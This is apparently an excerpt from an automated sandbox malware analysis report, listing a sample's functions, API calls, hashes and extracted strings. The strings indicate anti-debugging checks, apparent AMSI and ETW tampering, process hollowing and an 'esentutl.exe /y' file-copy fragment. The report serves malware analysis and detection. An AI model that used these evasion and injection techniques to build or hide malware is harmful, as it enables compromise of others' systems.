                                                                                                                                                                                                                                  • Instruction ID: 8383fc3b6272ae064427daa5c15df74e26c242f4d29a3639fc72231fc63144c0
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d0aab9e98c815f3656852c9b0fa5eec9f37ba74c1e34f4d5a1ade26a945e1532
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1801E17594070CBFDB11EBA1DD42FDDB3ACEB4D600F5144A1E600EB590EB756B048665
                                                                                                                                                                                                                                  Function 031E6DC8 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E6D6C: CLSIDFromProgID.OLE32(00000000,?,00000000,031E6DB9,?,?,?,00000000), ref: 031E6D99
                                                                                                                                                                                                                                  • CoCreateInstance.OLE32(?,00000000,00000005,031E6EAC,00000000,00000000,031E6E2B,?,00000000,031E6E9B), ref: 031E6E17
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CreateFromInstanceProg
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2151042543-0
                                                                                                                                                                                                                                  • Opcode ID: f57827233613e110760d0441aaea6ada7c9298f21a1ad623948179b3edd8c7e4
                                                                                                                                                                                                                                  • Instruction ID: 36d2b3c46e15171013940f89790f5fb0e890c8135f4d2d6f9c7cebcfcd25663c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f57827233613e110760d0441aaea6ada7c9298f21a1ad623948179b3edd8c7e4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4701A275608B04AFD715EFA5DC2296FBBBCE74EB10B920875F404E6681EB325D20C564
                                                                                                                                                                                                                                  Function 031EF7C8 Relevance: 227.8, APIs: 8, Strings: 117, Instructions: 9071COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • InetIsOffline.URL(00000000,00000000,031FB784,?,?,?,00000000,00000000), ref: 031EF801
                                                                                                                                                                                                                                    • Part of subcall function 031E89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0325738C,Function_0000662C,00000004,0325739C,0325738C,05F5E103,00000040,032573A0,74F60000,00000000,00000000), ref: 031E8AAA
                                                                                                                                                                                                                                    • Part of subcall function 031EF6E8: GetModuleHandleW.KERNEL32(KernelBase,?,031EFAEB,UacInitialize,03257380,031FB7B8,OpenSession,03257380,031FB7B8,ScanBuffer,03257380,031FB7B8,ScanString,03257380,031FB7B8,Initialize), ref: 031EF6EE
                                                                                                                                                                                                                                    • Part of subcall function 031EF6E8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 031EF700
                                                                                                                                                                                                                                    • Part of subcall function 031EF744: GetModuleHandleW.KERNEL32(KernelBase), ref: 031EF754
                                                                                                                                                                                                                                    • Part of subcall function 031EF744: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 031EF766
                                                                                                                                                                                                                                    • Part of subcall function 031EF744: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 031EF77D
                                                                                                                                                                                                                                    • Part of subcall function 031D7E5C: GetFileAttributesA.KERNEL32(00000000,?,031F041F,ScanString,03257380,031FB7B8,OpenSession,03257380,031FB7B8,ScanString,03257380,031FB7B8,UacScan,03257380,031FB7B8,UacInitialize), ref: 031D7E67
                                                                                                                                                                                                                                    • Part of subcall function 031DC364: GetModuleFileNameA.KERNEL32(00000000,?,00000105,0334B8B8,?,031F0751,ScanBuffer,03257380,031FB7B8,OpenSession,03257380,031FB7B8,ScanBuffer,03257380,031FB7B8,OpenSession), ref: 031DC37B
                                                                                                                                                                                                                                    • Part of subcall function 031EDD70: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031EDE40), ref: 031EDDAB
                                                                                                                                                                                                                                    • Part of subcall function 031EDD70: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,031EDE40), ref: 031EDDDB
                                                                                                                                                                                                                                    • Part of subcall function 031EDD70: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 031EDDF0
                                                                                                                                                                                                                                    • Part of subcall function 031EDD70: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 031EDE1C
                                                                                                                                                                                                                                    • Part of subcall function 031EDD70: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 031EDE25
                                                                                                                                                                                                                                    • Part of subcall function 031D7E80: GetFileAttributesA.KERNEL32(00000000,?,031F356F,ScanString,03257380,031FB7B8,OpenSession,03257380,031FB7B8,ScanBuffer,03257380,031FB7B8,OpenSession,03257380,031FB7B8,Initialize), ref: 031D7E8B
                                                                                                                                                                                                                                    • Part of subcall function 031D8048: CreateDirectoryA.KERNEL32(00000000,00000000,?,031F370D,OpenSession,03257380,031FB7B8,ScanString,03257380,031FB7B8,Initialize,03257380,031FB7B8,ScanString,03257380,031FB7B8), ref: 031D8055
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File$Module$AddressAttributesHandleNamePathProc$CheckCloseCreateDebuggerDirectoryFreeInetInformationLibraryName_OfflineOpenPresentQueryReadRemote
                                                                                                                                                                                                                                  • String ID: /d $ /o$.url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\esentutl.exe /y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$acS$advapi32$bcrypt$can$dbgcore$endpointdlp$http$ieproxy$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
                                                                                                                                                                                                                                  • API String ID: 297057983-2644593349
                                                                                                                                                                                                                                  • Opcode ID: d4ee54cedf820c4414e0835ecf596c11fe3e1c9092759055da4247cca2d030d9
                                                                                                                                                                                                                                  • Instruction ID: be8af8b4a791d078f0f8e299f7c5a49cf9148882628efd5b500566d60e5b81de
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d4ee54cedf820c4414e0835ecf596c11fe3e1c9092759055da4247cca2d030d9
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C214BB39A0425D8FCB10EB69DC80ADEB3B9EF8E700F5481A59149AF654DF30AE85CF51
                                                                                                                                                                                                                                  Function 031F8128 Relevance: 162.0, APIs: 5, Strings: 86, Instructions: 2778processthreadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 4573 31f8128-31f8517 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d48ec 4688 31f851d-31f86f0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d47ec call 31d49a0 call 31d4d74 call 31d4df0 CreateProcessAsUserW 4573->4688 4689 31f93a1-31f9524 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d48ec 4573->4689 4798 31f876e-31f8879 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 4688->4798 4799 31f86f2-31f8769 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 4688->4799 4778 31f952a-31f9539 call 31d48ec 4689->4778 4779 31f9cf5-31fb2fa call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 * 16 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31e7c10 call 31e8338 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 ExitProcess 4689->4779 4778->4779 4787 31f953f-31f9812 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31ef094 call 31d4860 call 31d49a0 call 31d46d4 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d7e5c 4778->4787 5045 31f9aef-31f9cf0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d49f8 call 31e8d70 4787->5045 5046 31f9818-31f9aea call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31ee358 call 31d4530 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4de0 * 2 call 31d4764 call 31edc8c 4787->5046 4899 31f887b-31f887e 4798->4899 4900 31f8880-31f8ba0 call 31d49f8 call 31ede50 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31ed164 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 4798->4900 4799->4798 4899->4900 5216 31f8bb9-31f939c call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 ResumeThread call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 CloseHandle call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e8080 call 31e894c * 6 CloseHandle call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 4900->5216 5217 31f8ba2-31f8bb4 call 31e8730 4900->5217 5045->4779 5046->5045 5216->4689 5217->5216
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0325738C,Function_0000662C,00000004,0325739C,0325738C,05F5E103,00000040,032573A0,74F60000,00000000,00000000), ref: 031E8AAA
                                                                                                                                                                                                                                  • CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0334B7E0,0334B824,OpenSession,03257380,031FB7B8,UacScan,03257380), ref: 031F86E9
                                                                                                                                                                                                                                  • ResumeThread.KERNEL32(00000000,ScanBuffer,03257380,031FB7B8,OpenSession,03257380,031FB7B8,UacScan,03257380,031FB7B8,ScanBuffer,03257380,031FB7B8,OpenSession,03257380,031FB7B8), ref: 031F8D33
                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,ScanBuffer,03257380,031FB7B8,OpenSession,03257380,031FB7B8,UacScan,03257380,031FB7B8,00000000,ScanBuffer,03257380,031FB7B8,OpenSession,03257380), ref: 031F8EB2
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize,032573A8,031EA93C,UacScan), ref: 031E8960
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031E897A
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize), ref: 031E89B6
                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,03257380,031FB7B8,UacInitialize,03257380,031FB7B8,ScanBuffer,03257380,031FB7B8,OpenSession,03257380,031FB7B8,UacScan,03257380), ref: 031F92A4
                                                                                                                                                                                                                                    • Part of subcall function 031D7E5C: GetFileAttributesA.KERNEL32(00000000,?,031F041F,ScanString,03257380,031FB7B8,OpenSession,03257380,031FB7B8,ScanString,03257380,031FB7B8,UacScan,03257380,031FB7B8,UacInitialize), ref: 031D7E67
                                                                                                                                                                                                                                    • Part of subcall function 031EDC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031EDD5E), ref: 031EDCCB
                                                                                                                                                                                                                                    • Part of subcall function 031EDC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 031EDD05
                                                                                                                                                                                                                                    • Part of subcall function 031EDC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 031EDD32
                                                                                                                                                                                                                                    • Part of subcall function 031EDC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 031EDD3B
                                                                                                                                                                                                                                    • Part of subcall function 031E8338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,031E83C2), ref: 031E83A4
                                                                                                                                                                                                                                  • ExitProcess.KERNEL32(00000000,OpenSession,03257380,031FB7B8,ScanBuffer,03257380,031FB7B8,Initialize,03257380,031FB7B8,00000000,00000000,00000000,ScanString,03257380,031FB7B8), ref: 031FB2FA
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CloseFileLibrary$CreateFreeHandlePathProcess$AddressAttributesCacheExitFlushInstructionLoadNameName_ProcResumeThreadUserWrite
                                                                                                                                                                                                                                  • String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
                                                                                                                                                                                                                                  • API String ID: 2769005614-3738268246
                                                                                                                                                                                                                                  • Opcode ID: 30c87f5d8e7e340276e2ddca9f4799d1de671b044c9421c9e56348ca45806ea2
                                                                                                                                                                                                                                  • Instruction ID: b5cd39bc48a2a905d97c01299a33936ac94bb62abe988f711c4c85efb3435939
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 30c87f5d8e7e340276e2ddca9f4799d1de671b044c9421c9e56348ca45806ea2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8243CA3DA0825C8FCB10EB69DD809CE73B9EF8E740F5481A5A149AF654DF30AE858F51
                                                                                                                                                                                                                                  Function 031F3E12 Relevance: 41.8, APIs: 3, Strings: 23, Instructions: 2804sleepCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0325738C,Function_0000662C,00000004,0325739C,0325738C,05F5E103,00000040,032573A0,74F60000,00000000,00000000), ref: 031E8AAA
